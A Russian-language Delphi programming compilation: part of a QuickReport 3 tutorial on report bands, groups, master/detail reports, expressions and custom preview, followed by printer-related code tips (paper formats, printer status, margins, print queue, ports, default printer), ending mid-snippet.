Как только вы добавляете новые секции в отчет, вы видите как они позиционируются в порядке действительной печати. Вы видите, что секция Page Header помещается вверх, следующая за ней секция Title, column header и так далее.

Тип каждой секции печатается маленькими буквами в левом нижнем углу. Это позволяет вам идентифицировать их в отчете. Данный текст не попадает в финальный отчет.
Секции появляющиеся в отчете компоненты TQuickRep показываются в том порядке, в каком они будут при печати. Это помогает понять как это будет отпечатано. Наиболее частое использование секций показано на Figure 10, но это становится весьма сложным, когда вы начинаете печатать суб-секции и групировавать.
Размеры секций
Секции получают их горизонтальный размер от компоненты TQuickRep. Их свойства Size.Width используются только как read only; Попытка записи в них других значений игнорируется. Для одно-колоночного отчета, ширина всех секций устанавливается равной ширине страницы минус левая и правая границы. Во многоколоночном отчете, ширина секции (Column Header, Detail, Sub Detail, Group Header and Group Footer) подстраивается под доступную ширину отдельной колонки
Тем не менее вы можете изменять вертикальный размер секции. Выберите секцию и измените размер с помощью мышки или с помощью изменения свойства Size.Height.
Включение и выключение секций
Иногда вы не желаете запретить печать той или другой секции. Это может быть сделано или в design time или в run time, установкой свойства TQRBand.Enabled в False.
Во время генерации отчета вы также можете временно запретить печать секции в обработчике события BeforePrint. Данный обработчик имеет параметр PrintBand, который вы можете установить в False для запрета печати секции – но только на один раз. Данное свойство весьма удобно для организации простой фильтрации:
procedure TrepCusList.RepDetailBeforePrint
 (Sender: TQRCustomBand;
  var PrintBand: Boolean);
begin
  PrintBand := CustTableTotalSales > 3000000;
end;

Примечание: Когда PrintBand устанавливается в False для detail секции, значения для данной записи не включаются в расчет агрегатных TQRExr функций, например функция SUM. Данное поведение отличается между версиями QuickReport 2 и QuickReport 3.
Если вы выключите секцию Page Footer, следствием будет появление пустого пространства внизу каждой страницы – секция Detail не использует данное пространство, QuickReport не проверяет размер страницы каждый раз. Так что если вы смените свойство Enabled секции Page Footer, то вызовите метод ResetPageFooterSize для обновления информации.

Группы
Группы позволяют вам генерировать дополнительные секции между группами записей. Например, если вы печатаете список из адресной книги, вы может быть желаете группировать все записи у которых первая буква имени одинаковая, и печатать большую букву между группами – в действительности это то, что мы сейчас сделаем в примере.
Для создания группы:
1 Создайте простой отчет, как это описано в 'Первый отчет'.
2 Установите свойство IndexName компоненты TTable в 'ByCompany'.
3 Бросьте компонент TQRGroup на TQuickRep объект, появится новая секция. Данная секция будет заголовком для группы (group header). Каждый раз, когда будет начинаться новая группа, данная секция будет напечатана.
4 Установите свойство Expression в
COPY(Table1.Company,1,1)
Это извлечет первую букву из поля 'Company'.
5 Бросьте компонент TQRExpr на данную секцию. Установите свойство Expression в тоже самое значение
COPY(Table1.Company, 1, 1)
В дополнение вы также должны добавить секцию group footer. Хотя нам здесь это и не требуется, но мы сделаем одну для практики.
6 Выберите компонент TQRBand на палитре и бросьте его в отчет. Переименуйте его в FooterBand1.
7 Щелкните по секции the group еще раз. Установите свойство TQRGroup.FooterBand в FooterBand1.
8 Бросьте компонент TQRLabel на footer band. Установите свойство Caption в 'FOOTER'.

Просмотрите отчет, или путем запуска программы, или просто выбрав правой кнопкой пункт Preview
Как планировалось, отчет показывает список всех компаний в алфавитном порядке, каждая группа имеет заголовок в виде буквы.
Мастер/детайл отчеты
Часто требуется отчет типа master/detail – это когда вы извлекаете данные из двух наборов данных, объединенных связью master/detail. QuickReport позволяет вам включать одну или несколько таких связей в отчет, с помощью компоненты TQRSubDetail.
В приведенном примере a master/detail отчета выводится список всех заказов по каждому заказчику в базе данных. Здесь краткий пример:
1 Создайте группированный отчет, как описано в предыдущей главе.
2 Бросьте компонент TDataSource на форму, и назначьте его свойство DataSet равным 'Table1'.
3 Бросьте новый компонент TTable на форму. Установите его свойство DatabaseName в 'DBDemos', TableName в 'ORDERS.DB', IndexName в 'CustNo', MasterSource в 'DataSource1', MasterFields в 'CustNo' и Active в True. Два компонента TTable сейчас имеют связь master/detail.
4 Бросьте компонент TQRSubDetail на существующий TQuickRep, где это появится как новая секция. Заметим, что свойство Master установилось в QuickRep1. Связь master/detail между двумя TTable объектами отразилось между объектами отчета и секциями.
5 Установите свойство DataSet компоненты TQRSubDetail в 'Table2'. Компонент TQRSubDetail будет выводить все записи через его DataSet для каждого изменения Dataset мастера.
6 Бросьте три компонента TQRDBText на секцию sub detail. Установите свойство DataSet в 'Table2', и установите свойство DataField в 'OrderNo', 'SaleDate' и 'ItemsTotal'.

Теперь посмотрим отчет. Результат должен иметь список заказов ниже имени каждого заказчика. Заметим, что формат дат и денежных полей зависит от установок в Windows.

Обзор печатных (printable) компонент
В данный момент, вы уже имеете представление об печатных компонентах QuickReport's – использования их как обычных органов управления. Тем не менее есть несколько специфичных для QuickReport аспектов.
Текстовые компоненты
Текстовые печатные компоненты QuickReport's – TQRLabel, TQRDBText, TQRExpr, TQRSysData, TQRMemo, TQRExprMemo, TQRRichText и TQRDBRichText – используют несколько общих свойств, которые они наследуют:

Property   Purpose
AlignToBand   По умолчанию все компоненты печатаются в позиции установленной во время проектирования. Но иногда более практично по вертикальным углам секции, на которой они размещены. Если свойство AlignToBand установлено в True, то компонент выравнивается относительно секции, в которой он размещен..
AutoSize   При установке этого свойства в True компонент расширяется по горизонтали, что разместить весь текст.
AutoStretch   Если свойство AutoStretch и WordWrap оба установлены в True, компонент может расширяться по вертикали, что бы разместить весь текст. Когда компонент расширяется подобным образом, то расширяется и секция, на которой он, определяется свойством CanExpand. При необходимости секция может расширяться на несколько страниц. Заметим, что если компонент расширяется, то это не перемещает другие компоненты вниз. Если имеются другие компоненты, которые зависят от размеров расширяемого компонента, то такие компоненты должны размещаться секции child. Заметим, что данное свойство не может быть использовано для компонент размещенных на любой секции внизу страницы, типично это page footer, но также любые секции, у которых установлено свойство AlignToBottom в True.
Frame   Все текстовые компоненты могут показывать видимую рамку вокруг себя.
Size   Все печатные компоненты имеют свойство Size. Если свойство AutoSize установлено в False вы можете использовать данное свойство для установки точного размера компонента. Данное свойство содержит также позицию компонента относительно секции.
WordWrap   Если свойство WordWrap установлен True текст может расширяться на несколько строк.
Форматирование полей
Компонент TQRDBText использует опции форматирования определенные в для поля, к которому он подключен. Иногда, вам нужно отображать текст иначе, в этом случае вы можете использовать свойство Mask компоненты TQRDBText. В этом поле вы можете вводить те же самые значения, как это определено в функции FormatFloat function (для цифровых полей) и в функции FormatDateTime (для полей типа date и time) – в действительности, QuickReport сам вызывает эти функции. Покажем на примере, условимся, что вы хотите напечатать цифровое значение с двумя знаками после запятой, и в качестве разделителя тысяч - запятую, и отрицательный в круглых скобках. То маска должна выглядеть следующим образом #,##0.00;(#,##0.00) и которое напечатает для значений 1234 и -1234.5 следующий вывод 1,234.00 и (1,234.50) соответственно.
Сверьтесь с Delphi хелпом по функциям FormatFloat и FormatDateTime.
Для форматирования поля используйте свойство Mask. Маска работает по разному для разных типов полей.

Использование выражений
QuickReport включает расширенный анализатор выражений, используемый компонентами TQRExpr, TQRExprMemo и TQRGroup. Выражения могут быть использованы для объединения и манипулирования полями баз данных, и для выполнения различного форматирования. Их синтаксис подобен синтаксису Object Pascal: выражения могут быть логического, с плавающей запятой, целого типа или строкового типа. Заметим, что поля дат и времени преобразовываются в строки, а BLOB и memo поля не поддерживаются в выражениях.
Анализатор выражений использует следующий набор операторов:

Operators   Function
+   Сложение и объединение строк
- * /   Вычитание, умножение и деление
()   Группирование
And Or Not   Логические операторы
= < >  <= >= <>   Операции сравнения

И набор стандартных функций:

Function   Description
AVERAGE(EXPR)   Агрегатные функции. Среднее значение выражения
COPY(STR,S,L)   Возвращает субстроку, начиная с позиции S размером L
COUNT   Агрегатная функция, возвращает количество итераций секции Master.
DATE   Возвращает текущую дату в виде строки
DIV(X, Y)   Целочисленное деление X на Y
FALSE   Логическое значение ЛОЖЬ False
FORMATNUMERIC(F, N)   Форматирует номер N используя маску F. Маска соответствует функции FormatFloat.
FRAC(NUM)   Возвращает дробную часть числа NUM
IF(EXPR, R1, R2)   Возвращает или R1 или R2 в зависимости от логического значения EXPR
INT(NUM)   Возвращает целую часть числа NUM
LOWER(STR)   Возвращает строку из малых букв
MAX(EXPR)   Агрегатная функция. Возвращает максимальное значение выражения EXPR
MIN(EXPR)   Агрегатная функция. Возвращает минимальное значение выражения EXPR
PRETTY(STR)   Возвращает строку, у которой первая буква заглавная, а остальные прописные
SQRT(NUM)   Возвращает квадратный корень числа NUM
STR(NUM)   Превращает число в строку
SUM(EXPR)   Агрегатная функция. Возвращает сумму выражения EXPR
TIME   Возвращает текущее время в виде строки
TRUE   Логическое значение ИСТИНА
TYPEOF(EXPR)   Возвращает тип выражения в виде строки. Например 'BOOLEAN'
UPPER(STR)   Возвращает строку из больших букв

Если ваше выражение включает агрегатную функцию, например SUM или COUNT вы должны связать свойство Master с компонентом TQuickRep или TQRSubDetail. Для простого отчета это ваш компонент TQuickRep, но в сложных отчетах это может быть любой набор данных. Выражение пересчитывается каждый раз, как указатель master изменяется.
Свойство ResetAfterPrint также используется при работе с агрегатными функциями, и позволяет вам создавать, например групповые итоги как изменяемые во время отчета.
Построитель выражений
Для упрощения создания выражения, QuickReport включает специальный редактор свойств, который доступен по нажатию на клавишу '…'.

Построитель выражений позволяет вам разрабатывать ваше выражение путем выбора функций и имен полей из списка, что упрощает процесс и позволяет избежать типографических ошибок в идентификаторах полей. Также можно вызвать специальный диалог для выбора аргументов функций.

Создание собственного просмотра
Как мы отмечали ранее, в главе 'Просмотр и композитные отчеты', что имеется возможность создать свой собственный механизм просмотра. Теперь самое время показать, как это сделать.
Первым шагом создание собственного просмотра - это наследование от TQRPreviewInterface, подобно этому:
// use QRPrntr to get TQRPreviewInterface

TQRCustomPreviewInterface = class(TQRPreviewInterface)
  public
    function Show(AQRPrinter : TQRPrinter)
      : TWinControl; override;
    function ShowModal(AQRPrinter : TQRPrinter)
      : TWinControl; override;
  end;

Заметим, что это интерфейсный класс interface – это обрабатывает только несколько функций. Эти две функции предназначены для отображения в модальной и не модальной форме.
Предположим, что форма просмотра называется TCustPreview. Затем реализуем методы TQRCustomPreviewInterface, которые выглядят так:
function TQRCustomPreviewInterface.Show(
  AQRPrinter: TQRPrinter): TWinControl;
var
  frm : TCustPreview;
begin
  frm := TCustPreview.Create(Application, AQRPrinter);
  frm.Show;
  Result := frm;
end;

function TQRCustomPreviewInterface.ShowModal(
  AQRPrinter: TQRPrinter): TWinControl;
var
  frm : TCustPreview;
begin
  frm := TCustPreview.Create(Application, AQRPrinter);
  frm.ShowModal;
  Result := frm;
end;

Для регистрации альтернативного просмотра мы должны вызвать функцию RegisterPreviewClass, из QRPrntr модуля. Вызов выглядит следующим образом:
RegisterPreviewClass(TQRCustomPreviewInterface);

Теперь мы сделали простой код и можем построить форму просмотра. Здесь только минимум; простой компонент TQRPreview на форме
Когда вы будете создавать реальный просмотровщик для ваших приложений, то вы добавите кнопки для вызова метода TQRPreview.Zoom и других возможностей.
Для поддержки механизм просмотра, я написал немного больше кода. Здесь объявление TCustPreview. Заметим, что я добавил новый конструктор, который позволяет принимать в качестве аргумента the TQRPrinter передаваемый методами Show и ShowModal интерфейсного класса. Delphi генерирует предупредительное сообщение, что новый конструктор скрывает оригинал. В данном случае это правильно и написал в классе
{$WARNINGS ON} ... {$WARNINGS OFF}
для подавления предупреждений компилятора.
{$WARNINGS OFF}
  TCustPreview = class(TForm)
    QRPreview1: TQRPreview;
    procedure CustPreviewClose(Sender: TObject;
                               var Action: TCloseAction);
  private
    { Private declarations }
    fQRPrinter : TQRPrinter;
  public
    { Public declarations }
    constructor Create(AOwner : TComponent;
                       AQRPrinter : TQRPrinter); virtual;
  end;
{$WARNINGS ON}

Окончательно, здесь реализация класса. Заметим, что код очистки расположен в обработчике OnClose. Если вы не вызовете метод ClosePreview здесь, вы будете иметь утечку памяти. (QuickReport 2 должны знать это новое требование. Вы должны модифицировать ваши существующие формы просмотра, когда будете сортировать их в QuickReport 3.)

constructor TCustPreview.Create(AOwner: TComponent;
  AQRPrinter: TQRPrinter);
begin
  inherited Create(AOwner);
  fQRPrinter := AQRPrinter;
  QRPreview1.QRPrinter := AQRPrinter;
end;

procedure TCustPreview.CustPreviewClose(Sender: TObject;
  var Action: TCloseAction);
begin
  fQRPrinter.ClosePreview(Self);
  Action := caFree;
end;

Дополнительные ресурсы
Имеется много других ресурсов, которые помогут вам в применении QuickReport в ваших приложениях.
Help files. QuickReport хелп фалы инсталлируются и интегрируются с Delphi хелп системой. Как положено это чувствительно к контексту, также имеет руководство пользователя и база знаний. Но они не появляются в главном оглавлении справочной системы.
Demo applications. Вы можете найти здесь
Program Files\Borland\Delphi5\Demos
Проект Quickrpt\Qr3\qr3demo.dpr содержит множество примеров. Начните здесь если вы желаете поглубже изучить различные свойства QuickReport, например фильтры экспорта. Также посмотрите проект Db\Mastapp\mastapp.dpr, который содержит прекрасный пример использования QuickReport интегрированный в большой проект.
Templates and wizards. Стандартный репозиторий Delphi содержит шаблоны построения отчетов Master/detail, ярлыков и списков, плюс помощник построения отчетов (report building wizard). Выберите File | New из Delphi и смотрите закладки Forms и Business.
Website. Наш сайт http://www.qusoft.com Пожалуйста приходите и поищите больше примеров, апдейтов, советов и дополнений.

Примечание от Vit: Публикуется с сокращениями


Печать, работа с принтером

Cодержание раздела:

Настройки принтера. Драйвер. Очередь печати
· Как найти все форматы бумаги, поддерживаемые принтером?
· Как получить статус принтера?
· Как узнать минимальные поля для принтера?
· Как получить разрешение принтера по умолчанию?
· Как прочитать очередь печати?
· Как изменить кодовую страницу шрифта принтера?
· Как прочитать название порта принтера?
· Как изменить порт для принтера?
· Как прочитать/установить принтер по умолчанию?
· Управляющие коды принтера
· Настройки принтера
· Как программно добавить принтер?
· Escape код PASSTHROUGH
· Как прочитать список возможностей принтера?
· Метрики принтера
· Определение количества заданий в спулере печати

Печать
· Как мне отправить на принтер чистый поток данных?
· Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра?
· Как распечатать TStringGrid?
· Как распечатать PRN file?
· Sending an image to the printer
· Как прервать печать и заставить печатать свой файл?
· Как распечатать bitmap?
· Как вместо печати графики использовать резидентный шрифт принтера?
· Хитрости печати
· Печать повернутого текста
· Растягивание изображения при печати
· Как распечатать TImage?
· Сохранение точных размеров при печати
· Изменение свойств печати во время ее выполнения
· Печать ячеек
· Диалог прекращения печати
· Прерывание работы принтера
· Печать всей формы
· Печать содержимого TMemo/TListbox
· Печать текста в обход Windows
· Печать с масштабированием

Объект TPrinter
· Работа с принтером.
· Exception при попытке создать обьект класса TPrinter

Предпросмотр
· Как сделать предпросмотр?


Настройки принтера. Драйвер. Очередь печати

Cодержание раздела:

Как найти все форматы бумаги, поддерживаемые принтером?
Как получить статус принтера?
Как узнать минимальные поля для принтера?
Как получить разрешение принтера по умолчанию?
Как прочитать очередь печати?
Как изменить кодовую страницу шрифта принтера?
Как прочитать название порта принтера?
Как изменить порт для принтера? Updated!
Как прочитать/установить принтер по умолчанию? Updated!
Управляющие коды принтера
Настройки принтера
Как программно добавить принтер?
Escape код PASSTHROUGH
Как прочитать список возможностей принтера?
Метрики принтера
Определение количества заданий в спулере печати
Как открыть диалог добавления принтера New!
Определение параметров принтера через API New!
Получить список шрифтов и их размеров для текущего принтера New!
Как узнать драйвер принтера New!
Как получить информацию о заданиях на принтере New!
Как установить драйвер принтера New!

См. также статьи в других разделах:
Как открыть диалог Add printer?
Проблема с установками принтера


Как найти все форматы бумаги, поддерживаемые принтером?

uses
  Printers, WinSpool;

procedure GetPapernames(sl: TStrings);
type
  TPaperName      = array [0..63] of Char;
  TPaperNameArray = array [1..High(Word) div SizeOf(TPaperName)] of TPaperName;
  PPapernameArray = ^TPaperNameArray;
var
  Device, Driver, Port: array [0..255] of Char;
  hDevMode: THandle;
  i, numPaperformats: Integer;
  pPaperFormats: PPapernameArray;
begin
  Printer.PrinterIndex := -1; // Standard printer
  Printer.GetPrinter(Device, Driver, Port, hDevmode);
  numPaperformats := WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES, nil, nil);
  if numPaperformats  0 then
  begin
    GetMem(pPaperformats, numPaperformats * SizeOf(TPapername));
    try
      WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
        PChar(pPaperFormats), nil);
      sl.Clear;
      for i := 1 to numPaperformats do sl.Add(pPaperformats^[i]);
    finally
      FreeMem(pPaperformats);
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetPapernames(memo1.Lines);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Вот пример, выводящий список форматов бумаги для принтера, установленного по умолчанию:

procedure TForm1.Button2Click(Sender: TObject);
type

  TPaperName = array[0..63] of Char;
  TPaperNameArray = array[1..High(Cardinal) div Sizeof(TPaperName)] of
    TPaperName;
  PPapernameArray = ^TPaperNameArray;
var

  Device, Driver, Port: array[0..255] of Char;
  hDevMode: THandle;
  i, numPaperformats: Integer;
  pPaperFormats: PPapernameArray;
begin

  Printer.PrinterIndex := -1;
  Printer.GetPrinter(Device, Driver, Port, hDevmode);
  numPaperformats :=
    WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES, nil, nil);
  if numPaperformats > 0 then
    begin
      GetMem(pPaperformats, numPaperformats * Sizeof(TPapername));
      try
        WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
          Pchar(pPaperFormats), nil);
        memo1.clear;
        for i := 1 to numPaperformats do
          memo1.lines.add(pPaperformats^[i]);
      finally
        FreeMem(pPaperformats);
      end;
    end;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как получить статус принтера?

function TestPrinterStatus(LPTPort: Word): Byte;
var
  Status: byte;
  CheckLPT: word;
begin
  Status := 0;
  if (LPTPort >= 1) and (LPTPort <= 3) then
  begin
    CheckLPT := LPTPort - 1;
    asm
      mov dx, CheckLPT;
      mov al, 0;
      mov ah, 2;
      int 17h;
      mov &Status, ah;
    end;
  end;
  Result := Status;
end;

{
  Pass in the LPT port number you want to check & get the following back:
  01h - Timeout
  08h - I/O Error
  10h - Printer selected
  20h - Out of paper
  40h - Printer acknowledgement
  80h - Printer not busy (0 if busy)

  Note:
  This function doesn't work under NT, it gives an access violation
  from the DOS interrupt call.
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать минимальные поля для принтера?

uses
  Printers;

type
  TMargins = record
    Left,
    Top,
    Right,
    Bottom: Double
end;

procedure GetPrinterMargins(var Margins: TMargins);
var
  PixelsPerInch: TPoint;
  PhysPageSize: TPoint;
  OffsetStart: TPoint;
  PageRes: TPoint;
begin
  PixelsPerInch.y := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
  PixelsPerInch.x := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
  Escape(Printer.Handle, GETPHYSPAGESIZE, 0, nil, @PhysPageSize);
  Escape(Printer.Handle, GETPRINTINGOFFSET, 0, nil, @OffsetStart);
  PageRes.y := GetDeviceCaps(Printer.Handle, VERTRES);
  PageRes.x := GetDeviceCaps(Printer.Handle, HORZRES);
  // Top Margin
  Margins.Top := OffsetStart.y / PixelsPerInch.y;
  // Left Margin
  Margins.Left := OffsetStart.x / PixelsPerInch.x;
  // Bottom Margin
  Margins.Bottom := ((PhysPageSize.y - PageRes.y) / PixelsPerInch.y) -
    (OffsetStart.y / PixelsPerInch.y);
  // Right Margin
  Margins.Right := ((PhysPageSize.x - PageRes.x) / PixelsPerInch.x) -
    (OffsetStart.x / PixelsPerInch.x);
end;

function InchToCm(Pixel: Single): Single;
// Convert inch to Centimeter
begin
  Result := Pixel * 2.54
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Margins: TMargins;
begin
 GetPrinterMargins(Margins);
 ShowMessage(Format('Margins: (Left: %1.3f, Top: %1.3f, Right: %1.3f, Bottom: %1.3f)',
  [InchToCm(Margins.Left),
   InchToCm(Margins.Top),
   InchToCm(Margins.Right),
   InchToCm(Margins.Bottom)]));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить разрешение принтера по умолчанию?

uses
  Printers;

function GetPixelsPerInchX: Integer;
begin
  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX)
end;

function GetPixelsPerInchY: Integer;
begin
  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Caption := Format('x: %d y: %d DPI (dots per inch)',
                   [GetPixelsPerInchX, GetPixelsPerInchY]);
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как прочитать очередь печати?

uses
  Winspool, Printers;

function GetCurrentPrinterHandle: THandle;
var
  Device, Driver, Port: array[0..255] of Char;
  hDeviceMode: THandle;
begin
  Printer.GetPrinter(Device, Driver, Port, hDeviceMode);
  if not OpenPrinter(@Device, Result, nil) then
    RaiseLastWin32Error;
end;

function SavePChar(p: PChar): PChar;
const
  error: PChar = 'Nil';
begin
  if not Assigned(p) then
    Result := error
  else
    Result := p;
end;

procedure TForm1.Button1Click(Sender: TObject);
type
  TJobs  = array [0..1000] of JOB_INFO_1;
  PJobs = ^TJobs;
var
  hPrinter: THandle;
  bytesNeeded, numJobs, i: Cardinal;
  pJ: PJobs;
begin
  hPrinter := GetCurrentPrinterHandle;
  try
    EnumJobs(hPrinter, 0, 1000, 1, nil, 0, bytesNeeded,
      numJobs);
    pJ := AllocMem(bytesNeeded);
    if not EnumJobs(hPrinter, 0, 1000, 1, pJ, bytesNeeded,
      bytesNeeded, numJobs) then
      RaiseLastWin32Error;

    memo1.Clear;
    if numJobs = 0 then
      memo1.Lines.Add('No jobs in queue')
    else
      for i := 0 to Pred(numJobs) do
        memo1.Lines.Add(Format('Printer %s, Job %s, Status (%d): %s',
          [SavePChar(pJ^[i].pPrinterName), SavePChar(pJ^[i].pDocument),
          pJ^[i].Status, SavePChar(pJ^[i].pStatus)]));
  finally
    ClosePrinter(hPrinter);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как изменить кодовую страницу шрифта принтера?

uses Sysutils, Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
  Dosya: TextFile
begin
  with Printer do
  begin
    AssignPrn(Dosya);
    Rewrite(Dosya);
    Printer.Canvas.Font.Name := 'Courier New';
    Printer.Canvas.Font.Style := [fsBold];
    Printer.Canvas.Font.Size := 18;

    //****for Turkish special characters
    Writeln(Dosya, '?ьi??ц?');

    //****set Font CharSet to Turkish(162)
    Printer.Canvas.Font.Charset := 162;
    Writeln(Dosya, '?ьi??ц?');

    CloseFile(Dosya);
  end;
end;

The following table lists the predefined constants provided for standard character sets:

type
  TFontCharset = 0..255;

Constant Value Description

ANSI_CHARSET 0 ANSI characters.
DEFAULT_CHARSET 1 Font is chosen based solely on Name and Size. If the described font is not available on the system, Windows will substitute another font.
SYMBOL_CHARSET 2 Standard symbol set.
MAC_CHARSET 77 Macintosh characters. Not available on NT 3.51.
SHIFTJIS_CHARSET 128 Japanese shift-jis characters.
HANGEUL_CHARSET 129 Korean characters (Wansung).
JOHAB_CHARSET 130 Korean characters (Johab). Not available on NT 3.51
GB2312_CHARSET 134 Simplified Chinese characters (mainland china).
CHINESEBIG5_CHARSET 136 Traditional Chinese characters (taiwanese).
GREEK_CHARSET 161 Greek characters. Not available on NT 3.51.
TURKISH_CHARSET 162 Turkish characters. Not available on NT 3.51
VIETNAMESE_CHARSET 163 Vietnamese characters. Not available on NT 3.51.
HEBREW_CHARSET 177 Hebrew characters. Not available on NT 3.51
ARABIC_CHARSET 178 Arabic characters. Not available on NT 3.51
BALTIC_CHARSET 186 Baltic characters. Not available on NT 3.51.
RUSSIAN_CHARSET 204 Cyrillic characters. Not available on NT 3.51.
THAI_CHARSET 222 Thai characters. Not available on NT 3.51
EASTEUROPE_CHARSET 238 Includes diacritical marks for eastern european countries. Not available on NT 3.51.
OEM_CHARSET 255 Depends on the codepage of the operating system.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как прочитать название порта принтера?

{ ... }

uses
  printers, winspool;

function GetCurrentPrinterHandle: THandle;
const
  Defaults: TPrinterDefaults = (pDatatype: nil; pDevMode: nil; DesiredAccess:
    PRINTER_ACCESS_USE or PRINTER_ACCESS_ADMINISTER);
var
  Device, Driver, Port: array[0..255] of char;
  hDeviceMode: THandle;
begin
  Printer.GetPrinter(Device, Driver, Port, hDeviceMode);
  if not OpenPrinter(@Device, Result, @Defaults) then
    RaiseLastWin32Error;
end;

procedure TForm1.Button1Click(Sender: TObject);

  procedure Display(const prefix: string; S: PChar);
  begin
    memo1.lines.add(prefix + string(S));
  end;

var
  pInfo: PPrinterInfo2;
  bytesNeeded: DWORD;
  hPrinter: THandle;
  i: Integer;
begin
  for i := 0 to printer.Printers.Count - 1 do
  begin
    Printer.PrinterIndex := i;
    hPrinter := GetCurrentPrinterHandle;
    try
      GetPrinter(hPrinter, 2, nil, 0, @bytesNeeded);
      pInfo := AllocMem(bytesNeeded);
      try
        GetPrinter(hPrinter, 2, pInfo, bytesNeeded, @bytesNeeded);
        Display('ServerName: ', pInfo^.pServerName);
        Display('PrinterName: ', pInfo^.pPrinterName);
        Display('ShareName: ', pInfo^.pShareName);
        Display('PortName: ', pInfo^.pPortName);
      finally
        FreeMem(pInfo);
      end;
    finally
      ClosePrinter(hPrinter);
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как изменить порт для принтера?

uses
  WinSpool;

{ Function SetPrinterToPort
  Parameters :
    hPrinter: handle of printer to change, obtained from OpenPrinter
    port: port name to use, e.g. LPT1:, COM1:, FILE:
  Returns:
    The name of the previous port the printer was attached to.
  Description:
    Changes the port a printer is attached to using Win32 API functions.
      The changes made are NOT local to this process, they will affect all
      other processes that try to use this printer! It is recommended to set the
      port back to the old port returned by this function after
      the end of the print job.
  Error Conditions:
   Will raise EWin32Error exceptions if SetPrinter or GetPrinter fail.
  Created:
    21.10.99 by P. Below}

function SetPrinterToPort(hPrinter: THandle; const port: string): string;
var
  pInfo: PPrinterInfo2;
  bytesNeeded: DWORD;
begin
  {Figure out how much memory we need for the data buffer. Note that GetPrinter is
  supposed to fail with a specific error code here. The amount of memory will
   be larger than Sizeof(TPrinterInfo2) since variable amounts of data are appended
   to the record}
  SetLastError(NO_ERROR);
  GetPrinter(hPrinter, 2, nil, 0, @bytesNeeded);
  if GetLastError <> ERROR_INSUFFICIENT_BUFFER then
    RaiseLastWin32Error;
  pInfo := AllocMem(bytesNeeded);
  try
    if not GetPrinter(hPrinter, 2, pInfo, bytesNeeded, @bytesNeeded) then
      RaiseLastWin32Error;
    with pInfo^ do
    begin
      Result := pPortname;
      pPortname := @port[1];
    end;
    if not SetPrinter(hPrinter, 2, pInfo, 0) then
      RaiseLastWin32Error;
  finally
    FreeMem(pInfo);
  end;
end;

function GetCurrentPrinterHandle: THandle;
var
  Device, Driver, Port: array[0..255] of char;
  hDeviceMode: THandle;
begin
  Printer.GetPrinter(Device, Driver, Port, hDeviceMode);
  if not OpenPrinter(@Device, Result, nil) then
    RaiseLastWin32Error;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

uses Printers;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
  pDevice: pChar;
  pDriver: pChar;
  pPort: pChar;
  hDMode: THandle;
  PDMode: PDEVMODE;
begin
  if PrintDialog1.Execute then
  begin
    GetMem(pDevice, cchDeviceName);
    GetMem(pDriver, MAX_PATH);
    GetMem(pPort, MAX_PATH);
    Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
    Printer.SetPrinter(pDevice, PDriver, 'FILE:', hDMode);
    FreeMem(pDevice, cchDeviceName);
    FreeMem(pDriver, MAX_PATH);
    FreeMem(pPort, MAX_PATH);
    Printer.BeginDoc;
    Printer.Canvas.TextOut(100, 100, 'Delphi World Is Wonderful!');
    Printer.EndDoc;
  end;
end;

Взято с http://delphiworld.narod.ru


Как прочитать/установить принтер по умолчанию?

uses
  Printers, Messages;

function GetDefaultPrinter: string;
var
  ResStr: array[0..255] of Char;
begin
  GetProfileString('Windows', 'device', '', ResStr, 255);
  Result := StrPas(ResStr);
end;

procedure SetDefaultPrinter1(NewDefPrinter: string);
var
  ResStr: array[0..255] of Char;
begin
  StrPCopy(ResStr, NewdefPrinter);
  WriteProfileString('windows', 'device', ResStr);
  StrCopy(ResStr, 'windows');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr));
end;

procedure SetDefaultPrinter2(PrinterName: string);
var
  I: Integer;
  Device: PChar;
  Driver: PChar;
  Port: PChar;
  HdeviceMode: THandle;
  aPrinter: TPrinter;
begin
  Printer.PrinterIndex := -1;
  GetMem(Device, 255);
  GetMem(Driver, 255);
  GetMem(Port, 255);
  aPrinter := TPrinter.Create;
  try
    for I := 0 to Printer.Printers.Count - 1 do
    begin
      if Printer.Printers = PrinterName then
      begin
        aprinter.PrinterIndex := i;
        aPrinter.getprinter(device, driver, port, HdeviceMode);
        StrCat(Device, ',');
        StrCat(Device, Driver);
        StrCat(Device, Port);
        WriteProfileString('windows', 'device', Device);
        StrCopy(Device, 'windows');
        SendMessage(HWND_BROADCAST, WM_WININICHANGE,
          0, Longint(@Device));
      end;
    end;
  finally
    aPrinter.Free;
  end;
  FreeMem(Device, 255);
  FreeMem(Driver, 255);
  FreeMem(Port, 255);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  label1.Caption := GetDefaultPrinter2;
end;

//Fill the combobox with all available printers
procedure TForm1.FormCreate(Sender: TObject);
begin
  Combobox1.Items.Clear;
  Combobox1.Items.AddStrings(Printer.Printers);
end;

//Set the selected printer in the combobox as default printer
procedure TForm1.Button2Click(Sender: TObject);
begin
